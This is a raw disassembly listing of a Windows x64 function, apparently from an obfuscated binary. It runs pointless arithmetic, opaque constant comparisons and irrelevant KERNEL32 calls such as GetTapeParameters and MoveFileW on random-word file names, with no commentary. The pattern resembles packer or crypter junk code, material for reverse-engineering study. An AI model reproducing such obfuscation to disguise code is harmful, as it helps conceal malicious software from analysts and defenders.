mov byte [rbp + 0xe69], al
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [rbp + 0x1278]
sub rdx, rax
mov qword [rbp + 0x4398], rdx
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x2bd0]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov edx, dword [rbp + 0x6f78]
mov eax, dword [rbp + 0x2aa4]
sub edx, eax
mov dword [rbp + 0x2b44], edx
mov edx, dword [rbp + 0x5244]
mov eax, dword [rbp + 0x66e4]
sub edx, eax
mov dword [rbp + 0x6aa4], edx
movzx edx, byte [rbp + 0x719a]
movzx eax, byte [rbp + 0x1007]
add eax, edx
mov byte [rbp + 0x3525], al
mov rax, qword [rbp + 0x15b8]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
and edx, ecx
mov word [rax], dx
cmp dword [rbp + 0x250d4], 0xa504
ja 0x140007e6a
mov rax, qword [rbp + 0x25138]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x5f20]
sub edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x25184], 0x50d
movzx eax, word [0x14017031a]
add ax, 0x41a
mov word [0x14017031a], ax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
cwde
cmp eax, 0x3ea8
je 0x14000830b
cmp eax, 0x4b59
jne 0x140008432
lea rcx, [rbp + 0x719a]
lea rdx, [rbp + 0x2bd0]
mov rax, qword [rbp + 0x250e8]
mov r9, rcx
mov r8, rdx
mov edx, 0xac
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTapeParameters]
call rax
mov dword [rbp + 0x5244], eax
movzx eax, word [rbp + 0x175e]
cwde
cmp eax, 0x1f08
je 0x1400082df
cmp eax, 0x2906
jne 0x140008431
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3529]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov edx, dword [rbp + 0x2aa4]
mov eax, dword [rbp + 0x2aa4]
mov ecx, eax
call fcn.140003f0b
jmp 0x140008306
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x1007], al
nop
jmp 0x140008431
mov edx, dword [rbp + 0x6aa4]
mov eax, dword [rbp + 0x5244]
xor eax, edx
mov ecx, dword [rbp + 0x66e4]
mov edx, dword [rbp + 0x361c]
or edx, ecx
cmp edx, eax
jae 0x1400083f4
mov rax, qword [rbp + 0x1278]
movabs rdx, 0xa7002a36b3302c6
cmp rax, rdx
je 0x1400083de
movabs rdx, 0x5320b72e348d4615
cmp rax, rdx
jne 0x1400083f4
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x391f]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x49f8]
lea rdx, [rbp + 0x4398]
mov r8, rdx
mov edx, 0xf4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetTapeParameters]
call rax
mov dword [rbp + 0x66e4], eax
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x1278]
and rax, rdx
mov qword [rbp + 0x3cc8], rax
movzx eax, word [rbp + 0x6e26]
mov edx, eax
movzx eax, word [rbp + 0x175e]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
jmp 0x1400083f4
mov ecx, 0x4e
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
call rax
mov qword [rbp + 0x250e8], rax
nop
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [rbp + 0x560]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x4070]
lea rdx, [rbp + 0xb80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileW]
call rax
mov dword [rbp + 0xf70], eax
jmp 0x140008432
nop
mov rdx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x3cc8]
mov rcx, rdx
sub rcx, rax
mov rdx, qword [rbp + 0x1278]
mov rax, qword [0x140170310]
add rax, rdx
cmp rcx, rax
jb 0x1400085fe
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
movsx eax, al
test eax, eax
je 0x14000847f
cmp eax, 0x43
je 0x1400085c5
jmp 0x1400086a5
movzx eax, byte [rbp + 0xe69]
movsx eax, al
test eax, eax
jne 0x1400085a3
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
mov rcx, rdx
and rcx, rax
mov rdx, qword [rbp + 0x560]
mov rax, qword [0x140175030]
add rax, rdx
cmp rcx, rax
je 0x14000854c
movzx edx, byte [rbp + 0x1007]
movzx eax, byte [rbp + 0x3525]
xor eax, edx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x1278]
movabs rdx, 0x52031b97d58204df
cmp rax, rdx
je 0x140008527
movabs rdx, 0x66cb2a6d9d35a85e
cmp rax, rdx
jne 0x1400085bf
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3529]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
jmp 0x1400085a1
lea rax, str.Farmhouseerratically
mov rdx, rax
lea rax, str.AngeluschartingRefractsDeserving
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileW]
call rax
mov dword [rbp + 0x2bf4], eax
jmp 0x1400085a1
movzx edx, word [rbp + 0x6e26]
movzx eax, word [rbp + 0x175e]
or eax, edx
movsx edx, ax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx r8d, ax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
cwde
mov ecx, eax
sar r8d, cl
mov eax, r8d
cmp edx, eax
jge 0x1400085bf
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [rbp + 0x560]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
jmp 0x1400085bf
jmp 0x1400085bf
mov rax, qword [rbp + 0x25188]
movzx edx, word [rax]
movzx eax, word [rbp + 0x6e26]
and eax, edx
mov word [rbp + 0x175e], ax
jmp 0x1400085c0
nop
jmp 0x1400086a5
lea rax, [rbp + 0x2b44]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
call rax
mov dword [rbp + 0xf70], eax
movzx eax, byte [rbp + 0x3529]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
sub edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
jmp 0x1400086a5
mov edx, dword [rbp + 0x5244]
mov eax, dword [rbp + 0x66e4]
add eax, edx
mov dword [rbp + 0x6aa4], eax
movzx eax, word [rbp + 0x175e]
cwde
cmp eax, 0x44d8
jne 0x14000865d
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
add rax, rdx
mov qword [rbp + 0x2bd0], rax
jmp 0x1400086a5
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call rax
mov qword [rbp + 0x1e20], rax
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [rbp + 0x560]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add eax, edx
mov word [rbp + 0x6e26], ax
nop
lea rax, [rbp + 0x3525]
mov qword [rbp + 0x24778], rax
movzx eax, byte [rbp + 0x719a]
movzx edx, al
movzx eax, byte [0x140170318]
movzx eax, al
sub edx, eax
movzx ecx, byte [rbp + 0x3525]
movzx eax, byte [rbp + 0x1007]
and eax, ecx
movzx eax, al
cmp edx, eax
je 0x140008737
mov edx, dword [rbp + 0x5244]
mov eax, dword [rbp + 0x6aa4]
add eax, edx
mov dword [rbp + 0x66e4], eax
movzx ecx, byte [rbp + 0x3529]
movzx edx, byte [rbp + 0x391f]
mov rax, qword [rbp + 0x6a60]
and edx, ecx
mov byte [rax], dl
lea rdx, [rbp + 0x4070]
lea rax, [rbp + 0x4d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
call rax
mov dword [rbp + 0x2bf4], eax
call fcn.14015bdf7
jmp 0x14015b797
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [0x140175030]
mov rcx, rdx
sub rcx, rax
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [rbp + 0x560]
add rax, rdx
cmp rcx, rax
jge 0x140008844
mov eax, dword [rbp + 0x10f0]
cmp eax, 0x7873db84
jne 0x140008824
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
sub edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
lea r8, [rbp + 0x700]
lea rdx, [rbp + 0x391f]
mov rax, qword [rbp + 0x250e8]
lea rcx, [rbp + 0x3c40]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0x8e
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp + 0x24774], eax
mov edx, dword [rbp + 0x66e4]
mov eax, dword [rbp + 0x6aa4]
sub edx, eax
mov dword [rbp + 0x361c], edx
mov rdx, qword [0x140175030]
mov rax, qword [rbp + 0x2bd0]
add rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
lea r8, [fcn.140003b33]
mov edx, 0xbd
mov ecx, 0xff
mov rax, qword [sym.imp.KERNEL32.dll_EnumSystemGeoID]
call rax
mov dword [rbp + 0x24770], eax
jmp 0x140008844
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
nop
mov dword [rbp + 0x250b4], 0x6f3
movzx eax, word [0x14017031a]
sub ax, 0x793
mov word [rbp + 0x5160], ax
mov dword [rbp + 0x250e4], 0xfe1c
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x719a]
sub eax, edx
mov byte [rbp + 0x3525], al
mov rax, qword [rbp + 0x6a60]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x391f]
mov rax, qword [rbp + 0x6a60]
or edx, ecx
mov byte [rax], dl
movzx eax, word [0x14017031a]
xor ax, 0xac4
mov word [rbp + 0x5160], ax
movzx eax, byte [rbp + 0x3525]
movzx edx, al
movzx eax, byte [rbp + 0x1007]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x5f20]
mov byte [rax], dl
mov rax, qword [0x140175030]
mov rdx, qword [rbp + 0x560]
mov ecx, edx
sar rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov edx, dword [rbp + 0x2aa4]
mov eax, dword [rbp + 0x10f0]
and eax, edx
mov dword [rbp + 0x2b44], eax
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [rbp + 0x1278]
sub rdx, rax
mov qword [rbp + 0x4398], rdx
movzx eax, word [rbp + 0x175e]
mov edx, eax
movzx eax, word [rbp + 0x6e26]
add edx, eax
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
mov rax, qword [rbp + 0x15b8]
movzx edx, word [rax]
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3529]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
movzx edx, byte [rbp + 0x719a]
movzx eax, byte [rbp + 0x3525]
add eax, edx
mov byte [0x140170318], al
movzx eax, word [0x14017031a]
sub ax, 0x251
mov word [rbp + 0x5160], ax
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x6e26]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov edx, dword [rbp + 0x2b44]
mov eax, dword [rbp + 0x2aa4]
or eax, edx
mov dword [rbp + 0x10f0], eax
mov edx, dword [rbp + 0x66e4]
mov eax, dword [rbp + 0x5244]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x6aa4], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x2bd0]
xor rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
movzx ecx, byte [rbp + 0x391f]
movzx edx, byte [rbp + 0xe69]
mov rax, qword [rbp + 0x6a60]
and edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x5160]
add ax, 0x3d1
mov word [0x14017031a], ax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add eax, edx
mov word [rbp + 0x6e26], ax
sub dword [rbp + 0x25068], 0xf9
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add edx, eax
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rax, qword [rbp + 0x6a60]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0xe69]
mov rax, qword [rbp + 0x6a60]
and edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x5244]
mov eax, dword [rbp + 0x66e4]
add eax, edx
mov dword [rbp + 0x6aa4], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
movzx edx, byte [rbp + 0x1007]
mov rax, qword [rbp + 0x5f20]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x719a], al
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
sub edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
or rax, rdx
mov qword [0x140175030], rax
movzx eax, word [rbp + 0x6e26]
movsx edx, ax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x175e], ax
movzx eax, word [0x14017031a]
xor ax, 0x20b
mov word [rbp + 0x5160], ax
mov edx, dword [rbp + 0x2b44]
mov eax, dword [rbp + 0x2aa4]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x10f0], eax
mov rax, qword [rbp + 0x25188]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x6e26]
mov rax, qword [rbp + 0x15b8]
and edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0xe69]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x25148]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov qword [rbp + 0x560], rdx
movzx eax, byte [rbp + 0x391f]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
sub edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x25138]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1007]
add eax, edx
mov byte [rbp + 0x3525], al
movzx eax, word [0x14017031a]
add ax, 0x884
mov word [rbp + 0x5160], ax
mov rax, qword [rbp + 0x25188]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
and edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
movzx eax, word [rbp + 0x175e]
mov edx, eax
movzx eax, word [rbp + 0x6e26]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
cmp dword [rbp + 0x25068], 0x7b5e
ja 0x14000886a
lea rax, [rbp + 0x2bd0]
mov qword [rbp + 0x24768], rax
mov eax, dword [rbp + 0x6aa4]
test eax, eax
je 0x140008cd4
cmp eax, 0x3cc4c91a
je 0x14015b6f1
jmp 0x14015b78a
mov eax, dword [rbp + 0x361c]
cmp eax, 0x59a07000
je 0x140008cf1
cmp eax, 0xb033f186
je 0x14015b686
jmp 0x14015b68e
lea rax, [rbp + 0x5160]
mov qword [0x140175038], rax
movzx edx, byte [rbp + 0x3525]
movzx eax, byte [rbp + 0x1007]
and edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
sub edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov eax, dword [rbp + 0x361c]
mov dword [rbp + 0x5244], eax
mov edx, dword [rbp + 0x10f0]
mov eax, dword [rbp + 0x2b44]
add eax, edx
mov dword [rbp + 0x6f78], eax
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
add rax, rdx
mov qword [rbp + 0x2bd0], rax
movzx eax, byte [rbp + 0x3529]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x25138]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x719a]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x391f], al
mov rax, qword [rbp + 0x24778]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1007]
and eax, edx
mov byte [0x140170318], al
add dword [rbp + 0x250b4], 0x8f
movzx eax, word [rbp + 0x6e26]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25188]
mov word [rax], dx
movzx eax, byte [rbp + 0xe69]
movsx edx, al
movzx eax, byte [rbp + 0x391f]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
movzx eax, byte [rbp + 0xe69]
movsx edx, al
movzx eax, byte [rbp + 0x391f]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x560]
xor rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [rbp + 0x1278]
or rax, rdx
mov qword [rbp + 0x4398], rax
mov rdx, qword [rbp + 0x2bd0]
mov rax, qword [0x140175030]
sub rdx, rax
mov qword [rbp + 0x560], rdx
mov edx, dword [rbp + 0x361c]
mov eax, dword [rbp + 0x6aa4]
and eax, edx
mov dword [rbp + 0x5244], eax
movzx eax, byte [rbp + 0x1007]
movzx edx, byte [rbp + 0x3525]
sub eax, edx
mov byte [rbp + 0x719a], al
movzx ecx, word [rbp + 0x5160]
movzx edx, word [0x14017031a]
mov rax, qword [0x140175038]
add edx, ecx
mov word [rax], dx
movzx edx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x5160], ax
mov rax, qword [rbp + 0x24778]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x719a], al
movzx eax, word [rbp + 0x175e]
mov edx, eax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x6e26], ax
cmp dword [rbp + 0x250b4], 0x145a
jbe 0x140008d18
mov rdx, qword [rbp + 0x3cc8]
movabs rax, 0xf6265a612ba41a92
cmp rdx, rax
jne 0x140009053
mov rdx, qword [rbp + 0x3cc8]
mov rax, qword [rbp + 0x1278]
add rax, rdx
mov qword [rbp + 0x4398], rax
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [0x140175030]
add rdx, rax
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4398]
movabs rax, 0x6d0328991050b275
cmp rdx, rax
jne 0x140009034
lea rax, [rbp + 0x4b00]
mov r9d, 0x4a
mov r8, rax
mov edx, 0x29
mov ecx, 0xe2
mov rax, qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call rax
mov dword [rbp + 0x10f0], eax
mov edx, dword [rbp + 0x6aa4]
mov eax, dword [rbp + 0x66e4]
and eax, edx
mov dword [rbp + 0x361c], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x24768]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
mov r8d, 0x1f
mov edx, 1
lea rax, str.TeenyilluminatingProfundityGipsiesPullovers
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
call rax
mov qword [rbp + 0x3958], rax
jmp 0x140009051
mov rax, qword [rbp + 0x6a60]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x391f]
mov rax, qword [rbp + 0x6a60]
xor edx, ecx
mov byte [rax], dl
nop
jmp 0x14000907e
mov eax, dword [rbp + 0x2aa4]
mov dword [0x140175040], eax
lea rax, [rbp + 0xe69]
mov qword [rbp + 0x1618], rax
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
mov byte [rbp + 0x3fc5], al
nop
mov rax, qword [rbp + 0x15b8]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [0x140175038]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2ca]
or eax, edx
mov word [rbp + 0x5160], ax
add dword [rbp + 0x25194], 0x7a
mov edx, dword [rbp + 0x5244]
mov eax, dword [rbp + 0x6aa4]
sub edx, eax
mov dword [rbp + 0x361c], edx
mov edx, dword [rbp + 0x6f78]
mov eax, dword [0x140175040]
add eax, edx
mov dword [rbp + 0x2aa4], eax
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
and rdx, rax
mov rax, qword [rbp + 0x24768]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
movzx ecx, word [0x14017031a]
movzx edx, word [rbp + 0x5160]
mov rax, qword [0x140175038]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x1007]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
add edx, eax
mov rax, qword [rbp + 0x1618]
mov byte [rax], dl
movzx eax, byte [rbp + 0x391f]
mov edx, eax
movzx eax, byte [rbp + 0x3529]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
movzx eax, word [rbp + 0x2ca]
movzx edx, word [0x14017031a]
sub eax, edx
mov word [rbp + 0x5160], ax
movzx eax, byte [rbp + 0x3529]
mov edx, eax
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov edx, dword [rbp + 0x2b44]
mov eax, dword [rbp + 0x10f0]
sub edx, eax
mov dword [rbp + 0x6f78], edx
cmp dword [rbp + 0x25194], 0xad9b
jne 0x14000907e
mov eax, dword [rbp + 0x6f78]
cmp eax, 0xbdddb7f0
je 0x140009311
cmp eax, 0x372edd3c
jne 0x140009389
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x79
jne 0x14000927a
lea rcx, [rbp + 0x175e]
mov rax, qword [rbp + 0x49f8]
lea rdx, [rbp + 0x3c40]
mov qword [rsp + 0x38], rcx
lea rcx, [rbp + 0x41d0]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x2bf4]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0x4c
mov r9d, 1
mov r8d, 0xb0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
call rax
mov dword [rbp + 0x24774], eax
jmp 0x14000930f
mov rdx, qword [rbp + 0x560]
mov rax, qword [0x140175030]
xor rax, rdx
mov qword [rbp + 0x2bd0], rax
movzx eax, byte [rbp + 0x3525]
movzx edx, al
movzx eax, byte [rbp + 0x719a]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25138]
mov byte [rax], dl
lea rdx, [rbp + 0x5178]
lea rax, [rbp + 0x18f8]
mov qword [rsp + 0x20], rax
mov r9d, 0x91
mov r8, rdx
mov edx, 0x83
mov ecx, 0xfd
mov rax, qword [sym.imp.KERNEL32.dll_GetStringTypeA]
call rax
mov dword [rbp + 0x24774], eax
movzx eax, word [rbp + 0x2ca]
movzx edx, ax
movzx eax, word [rbp + 0x5160]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [0x140175038]
mov word [rax], dx
nop
jmp 0x140009389
mov rax, qword [rbp + 0x24778]
movzx ecx, byte [rax]
movzx edx, byte [0x140170318]
mov rax, qword [rbp + 0x3c40]
or edx, ecx
mov byte [rax], dl
lea rax, [rbp + 0x2ca]
mov qword [rbp + 0x25078], rax
mov rax, qword [rbp + 0x25188]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
and edx, ecx
mov word [rax], dx
mov dword [rbp + 0x2516c], 0x4b68
mov dword [rbp + 0x2510c], 0xb788
lea rax, [rbp + 0x719a]
mov qword [rbp + 0x25198], rax
lea rax, [0x140175030]
mov qword [rbp + 0x25098], rax
nop
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
test rax, rax
jne 0x14015b5d7
movzx eax, byte [rbp + 0x719a]
movzx eax, al
test eax, eax
jne 0x140009489
mov rax, qword [rbp + 0x24778]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3cc8]
movabs rdx, 0x5ade7b7d234e4efc
cmp rax, rdx
je 0x1400093f7
movabs rdx, 0xe34ed5ca4169b231
cmp rax, rdx
je 0x140009466
jmp 0x1400094de
mov rax, qword [rbp + 0x24780]
mov rdx, rax
mov ecx, 0x8b
mov rax, qword [sym.imp.KERNEL32.dll_SetStdHandle]
call rax
mov dword [rbp + 0x24774], eax
movzx eax, byte [rbp + 0x391f]
mov edx, eax
movzx eax, byte [rbp + 0x3529]
sub edx, eax
mov rax, qword [rbp + 0x1618]
mov byte [rax], dl
movzx eax, byte [rbp + 0x3529]
movsx r8d, al
mov rcx, qword [rbp + 0x4398]
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x560]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call fcn.1400033f0
jmp 0x140009487
movzx eax, word [rbp + 0x175e]
mov edx, eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x6e26], ax
nop
jmp 0x1400094de
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25098]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x25148]
mov qword [rax], rdx
movzx eax, byte [rbp + 0x3529]
movsx r8d, al
mov rcx, qword [rbp + 0x1278]
movzx eax, word [rbp + 0x2ca]
movzx edx, ax
mov rax, qword [rbp + 0x560]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call fcn.1400033f0
nop
mov rax, qword [rbp + 0x1278]
mov rbx, qword [rbp + 0x3cc8]
